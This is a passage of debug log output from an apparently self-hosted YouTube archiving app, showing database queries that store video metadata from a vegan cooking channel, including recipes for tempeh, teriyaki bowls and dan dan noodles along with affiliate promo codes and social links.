your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "My best pasta recipe... EVER! Caramelized Onion Pasta 🧅 High Protein Pasta Recipe!", 1, nil, false, "pMauD84qRY0", "https://www.youtube.com/watch?v=pMauD84qRY0", "/downloads/downloads/alec/Steamy Vegan/2024-09-15 My best pasta recipe... EVER! Caramelized Onion Pasta 🧅 High Protein Pasta Recipe!/My best pasta recipe... EVER! Caramelized Onion Pasta 🧅 High Protein Pasta Recipe! [pMauD84qRY0].NA", false, ~U[2024-09-15 00:00:00Z]] 20:31:07.257 [debug] QUERY OK source="sources" db=1.1ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.260 [debug] QUERY OK source="media_items" db=2.0ms idle=9.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-12 00:00:00Z], 1] 20:31:07.261 [debug] QUERY OK source="media_items" db=1.0ms idle=10.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I went back to Trader Joe's for another vegan grocery haul because there were a few vegan groceries I just had to buy again. While I'm 1 hour away from my nearest Trader Joe's, it was worth the trip for this grocery haul. \n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Trader Joe's Vegan Grocery Haul! Vegan groceries I had to buy again", "1bcfc3b7-3f6c-4987-af50-8d67e1892416", 1, [], false, "9txxFaKHenw", "https://www.youtube.com/watch?v=9txxFaKHenw", 160, "/downloads/downloads/alec/Steamy Vegan/2024-09-12 Trader Joe's Vegan Grocery Haul! Vegan groceries I had to buy again/Trader Joe's Vegan Grocery Haul! Vegan groceries I had to buy again [9txxFaKHenw].NA", false, false, false, 1, ~U[2024-09-12 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "I went back to Trader Joe's for another vegan grocery haul because there were a few vegan groceries I just had to buy again. While I'm 1 hour away from my nearest Trader Joe's, it was worth the trip for this grocery haul. \n\nCHECK OUT MY FULL 'GROCERY HAULS' PLAYLIST ➡️ \u00A0\u00A0\u00A0•\u00A0GROCERY\u00A0HAULS\u00A0🛒\u00A0\u00A0\nCHECK OUT MY FULL 'WHAT I EAT IN A DAY PLAYLIST' ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\n\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Trader Joe's Vegan Grocery Haul! Vegan groceries I had to buy again", 1, nil, false, "9txxFaKHenw", "https://www.youtube.com/watch?v=9txxFaKHenw", "/downloads/downloads/alec/Steamy Vegan/2024-09-12 Trader Joe's Vegan Grocery Haul! Vegan groceries I had to buy again/Trader Joe's Vegan Grocery Haul! Vegan groceries I had to buy again [9txxFaKHenw].NA", false, ~U[2024-09-12 00:00:00Z]] 20:31:07.262 [debug] QUERY OK source="sources" db=0.5ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.264 [debug] QUERY OK source="media_items" db=1.9ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-06 00:00:00Z], 1] 20:31:07.267 [debug] QUERY OK source="media_items" db=2.1ms idle=6.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We're making the BEST Tempeh Teriyaki Bowl! This easy sheet pan recipe comes together in 30 minutes and requires minimal effort AND ingredients. Vegan, gluten-free and high-protein 💪🏼🌱\n\nWant more healthy, high-protein and gluten-free recipes? ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n*SHEET PAN TEMPEH TERIYAKI BOWL*\n1 8oz block tempeh (could use 2 if making for more than 2 people), chopped into 1 inch cubes\n1 medium bell pepper, chopped\n1 medium or 2 small zucchini, chopped\n1 medium onion, thickly sliced\n*Sauce*\n½ cup low-sodium soy sauce (tamari for gluten-free)\n½ cup water or veg broth\n¼ cup coconut sugar (sub brown sugar)\n2 tbsp rice vinegar\n1 tbsp sesame oil\n3 cloves garlic, minced\n½ teaspoon ground ginger\n1 tsp red chili flakes (optional)\n2 tbsp cornstarch\n¼ cup cold water\n*Spicy Yogurt*\n1 cup plant-based plain yogurt or sour cream\n2 tbsp ranch powder (recipe ➡️ \u00A0\u00A0\u00A0•\u00A0Ranch\u00A0powder?!\u00A0🤯\u00A0Never\u00A0buy\u00A0ranch\u00A0dressing\u00A0...\u00A0\u00A0)\n¼ tsp cayenne\n1 tsp lemon juice\n\n1. Preheat oven to 375ºF and grab a large baking sheet.\n2. Add all chopped veggies and tempeh to baking sheet, set aside.\n3. Add all sauce ingredients, minus the cold water and cornstarch, to a saucepan, whisk to combine and bring to a low simmer. Once bubbling and hot, turn off the heat, combine the cold water and cornstarch in a small bowl and pour into the sauce. Whisk the slurry into the sauce constantly for about 3 to 5 minutes until it begins to thicken and slightly resemble the thickness of gravy.\n4. Remove from the heat and pour over the veggies and tempeh. Stir all the sauce into the veg with a spatula until coated. Bake for 25 to 30 minutes until the veg and tempeh are browned and the veggies are cooked through.\n5. Serve over cooked rice or noodles, garnish with fresh cilantro and a lime wedge and enjoy!\n\nPromo codes & discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Sheet Pan Tempeh Teriyaki Bowl! Vegan Tempeh Recipe", "783c14b5-a648-499b-ab9f-9e96959be620", 1, [], false, "arlXlJlh6jQ", "https://www.youtube.com/watch?v=arlXlJlh6jQ", 161, "/downloads/downloads/alec/Steamy Vegan/2024-09-06 Sheet Pan Tempeh Teriyaki Bowl! Vegan Tempeh Recipe/Sheet Pan Tempeh Teriyaki Bowl! Vegan Tempeh Recipe [arlXlJlh6jQ].NA", false, false, false, 1, ~U[2024-09-06 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "We're making the BEST Tempeh Teriyaki Bowl! This easy sheet pan recipe comes together in 30 minutes and requires minimal effort AND ingredients. Vegan, gluten-free and high-protein 💪🏼🌱\n\nWant more healthy, high-protein and gluten-free recipes? ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\n*SHEET PAN TEMPEH TERIYAKI BOWL*\n1 8oz block tempeh (could use 2 if making for more than 2 people), chopped into 1 inch cubes\n1 medium bell pepper, chopped\n1 medium or 2 small zucchini, chopped\n1 medium onion, thickly sliced\n*Sauce*\n½ cup low-sodium soy sauce (tamari for gluten-free)\n½ cup water or veg broth\n¼ cup coconut sugar (sub brown sugar)\n2 tbsp rice vinegar\n1 tbsp sesame oil\n3 cloves garlic, minced\n½ teaspoon ground ginger\n1 tsp red chili flakes (optional)\n2 tbsp cornstarch\n¼ cup cold water\n*Spicy Yogurt*\n1 cup plant-based plain yogurt or sour cream\n2 tbsp ranch powder (recipe ➡️ \u00A0\u00A0\u00A0•\u00A0Ranch\u00A0powder?!\u00A0🤯\u00A0Never\u00A0buy\u00A0ranch\u00A0dressing\u00A0...\u00A0\u00A0)\n¼ tsp cayenne\n1 tsp lemon juice\n\n1. Preheat oven to 375ºF and grab a large baking sheet.\n2. Add all chopped veggies and tempeh to baking sheet, set aside.\n3. Add all sauce ingredients, minus the cold water and cornstarch, to a saucepan, whisk to combine and bring to a low simmer. Once bubbling and hot, turn off the heat, combine the cold water and cornstarch in a small bowl and pour into the sauce. Whisk the slurry into the sauce constantly for about 3 to 5 minutes until it begins to thicken and slightly resemble the thickness of gravy.\n4. Remove from the heat and pour over the veggies and tempeh. Stir all the sauce into the veg with a spatula until coated. Bake for 25 to 30 minutes until the veg and tempeh are browned and the veggies are cooked through.\n5. Serve over cooked rice or noodles, garnish with fresh cilantro and a lime wedge and enjoy!\n\nPromo codes & discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*SANTEVIA WATER FILTERS: My favourite countertop water filtration system! Save 10% off first orders with code STEAMYVEGAN | https://ca.santevia.com/STEAMYVEGAN\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://stea (truncated) 20:31:07.268 [debug] QUERY OK source="sources" db=0.6ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.270 [debug] QUERY OK source="media_items" db=1.6ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-04 00:00:00Z], 1] 20:31:07.271 [debug] QUERY OK source="media_items" db=1.1ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today's video we're making tempeh from scratch! I go over the full step-by-step homemade tempeh recipe so you'll know how to do it yourself!\n\n*IMPORTANT RECIPE NOTE!*\nNOT SHOWN: Remember to COOK THE SOYBEANS for 1 hour before drying, and adding vinegar & starter. DO NOT SKIP THIS STEP 😊\n\nMore healthy, high-protein vegan & gluten-free recipes ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nPromo codes & discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I made TEMPEH! Full step-by-step homemade tempeh recipe", "ad37800e-dcff-4f85-89e2-394fb1404f76", 1, [], false, "r44PkXNuIAc", "https://www.youtube.com/watch?v=r44PkXNuIAc", 162, "/downloads/downloads/alec/Steamy Vegan/2024-09-04 I made TEMPEH! Full step-by-step homemade tempeh recipe/I made TEMPEH! Full step-by-step homemade tempeh recipe [r44PkXNuIAc].NA", false, false, false, 1, ~U[2024-09-04 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In today's video we're making tempeh from scratch! I go over the full step-by-step homemade tempeh recipe so you'll know how to do it yourself!\n\n*IMPORTANT RECIPE NOTE!*\nNOT SHOWN: Remember to COOK THE SOYBEANS for 1 hour before drying, and adding vinegar & starter. DO NOT SKIP THIS STEP 😊\n\nMore healthy, high-protein vegan & gluten-free recipes ➡️ \u00A0\u00A0\u00A0•\u00A0HEALTHY,\u00A0HIGH-PROTEIN,\u00A0GLUTEN-FREE\u00A0RECIPES\u00A0\u00A0\n\nPromo codes & discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan\n*TRAINEST NUTRITION TRACKING APP*: Reach your goals 💪🏼 and download the forever FREE Trainest nutrition tracking app here! ➡️ https://trainestapp.com/steamyvegan (available for both iOS & android!) Check out Trainest on YouTube ➡️ \u00A0\u00A0\u00A0/\u00A0@trainestcoach\u00A0\u00A0\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "I made TEMPEH! Full step-by-step homemade tempeh recipe", 1, nil, false, "r44PkXNuIAc", "https://www.youtube.com/watch?v=r44PkXNuIAc", "/downloads/downloads/alec/Steamy Vegan/2024-09-04 I made TEMPEH! Full step-by-step homemade tempeh recipe/I made TEMPEH! Full step-by-step homemade tempeh recipe [r44PkXNuIAc].NA", false, ~U[2024-09-04 00:00:00Z]] 20:31:07.272 [debug] QUERY OK source="sources" db=0.5ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.274 [debug] QUERY OK source="media_items" db=2.0ms idle=6.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-31 00:00:00Z], 1] 20:31:07.276 [debug] QUERY OK source="media_items" db=1.4ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day, we'll be making a few of my new favorite vegan recipes, including, a vegan crunchwrap and vegan dan dan noodles! The vegan crunchwrap is a copycat taco bell crunchwrap recipe and the vegan dan dan noodles are my first ever go at making this vegan recipe.\n\nSubscribe if you love vegan and gluten-free recipes! I do grocery hauls, what I eat videos, and tons of vegan recipe videos.\n\nNOTE: This Dan Dan noodles recipe is vegan but is not gluten-free due to the cooking vinegars. If you'd like to see me make it gluten-free then please let me know and I'll do that in the future!\n\nDAN DAN NOODLES\nsauce\n⅓ cup tahini\n1 tsp black pepper\n2 tbsp gluten free soy sauce\n1 tbsp black rice vinegar (chinkiang)\n2 tbsp chilli oil\n⅓ cup hot water\n1 tbsp coconut sugar\n\n8 oz ramen noodles\nchopped broccoli, gai lan or broccolini\n1 lb of plant-based ground meat (beyond, Yves)\n2 tsp grated ginger\n1 tbsp gluten free soy sauce\n1 tbsp chinese cooking wine (shaoxing)\n\n1. Combine all sauce ingredients, portion out ¼ cup each into 2 serving bowls\n2. Cook plant based meat in 1 tbsp oil, the cooking wine, soy sauce and ginger over medium heat for 5 to 7 minutes, or until nicely browned\n3. While the meat cooks, boil a large pot of water, and blanch the gai lan for 1 minute; if using broccolo/broccolini, cook for 4 minutes. Remove veg from pot and add in ramen noodles, cook according to package directions.\n4. Divide noodles between two bowls. Stir in and toss in the sauce. Top with the ground meat, cooked veg, top with chopped peanuts and green onions and extra chili oil if you like it spicy!\n\nCRUNCHWRAP\n1 large whole wheat or gluten free tortilla\n1 corn tostada or 1 corn tortilla air fried for 5 minutes until crispy\n2 tbsp vegan sour cream\nvegan cheddar cheese slices or shreds\nchopped tomatoes\nchopped red onion\nsalsa\n¼ of a large tortilla for wrapping\n\nSteamy Vegan Promos and Discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code STEAMYVEGAN at www.eightbillion.com/steamyvegan\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n*HONEYCOMB VEGAN-FRIENDLY RESTAURANT FINDER*: https://eat.app.link/steamyvegan", "What I Eat in a Day | Crunchwrap and Dan Dan Noodles Vegan Recipes", "d449520b-24e9-42d3-bc4a-db4717a49a82", 1, [], false, "crTRtJyi2OI", "https://www.youtube.com/watch?v=crTRtJyi2OI", 163, "/downloads/downloads/alec/Steamy Vegan/2024-08-31 What I Eat in a Day | Crunchwrap and Dan Dan Noodles Vegan Recipes/What I Eat in a Day | Crunchwrap and Dan Dan Noodles Vegan Recipes [crTRtJyi2OI].NA", false, false, false, 1, ~U[2024-08-31 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this what I eat in a day, we'll be making a few of my new favorite vegan recipes, including, a vegan crunchwrap and vegan dan dan noodles! The vegan crunchwrap is a copycat taco bell crunchwrap recipe and the vegan dan dan noodles are my first ever go at making this vegan recipe.\n\nSubscribe if you love vegan and gluten-free recipes! I do grocery hauls, what I eat videos, and tons of vegan recipe videos.\n\nNOTE: This Dan Dan noodles recipe is vegan but is not gluten-free due to the cooking vinegars. If you'd like to see me make it gluten-free then please let me know and I'll do that in the future!\n\nDAN DAN NOODLES\nsauce\n⅓ cup tahini\n1 tsp black pepper\n2 tbsp gluten free soy sauce\n1 tbsp black rice vinegar (chinkiang)\n2 tbsp chilli oil\n⅓ cup hot water\n1 tbsp coconut sugar\n\n8 oz ramen noodles\nchopped broccoli, gai lan or broccolini\n1 lb of plant-based ground meat (beyond, Yves)\n2 tsp grated ginger\n1 tbsp gluten free soy sauce\n1 tbsp chinese cooking wine (shaoxing)\n\n1. Combine all sauce ingredients, portion out ¼ cup each into 2 serving bowls\n2. Cook plant based meat in 1 tbsp oil, the cooking wine, soy sauce and ginger over medium heat for 5 to 7 minutes, or until nicely browned\n3. While the meat cooks, boil a large pot of water, and blanch the gai lan for 1 minute; if using broccolo/broccolini, cook for 4 minutes. Remove veg from pot and add in ramen noodles, cook according to package directions.\n4. Divide noodles between two bowls. Stir in and toss in the sauce. Top with the ground meat, cooked veg, top with chopped peanuts and green onions and extra chili oil if you like it spicy!\n\nCRUNCHWRAP\n1 large whole wheat or gluten free tortilla\n1 corn tostada or 1 corn tortilla air fried for 5 minutes until crispy\n2 tbsp vegan sour cream\nvegan cheddar cheese slices or shreds\nchopped tomatoes\nchopped red onion\nsalsa\n¼ of a large tortilla for wrapping\n\nSteamy Vegan Promos and Discounts:\n\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code STEAMYVEGAN at www.eightbillion.com/steamyvegan\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at 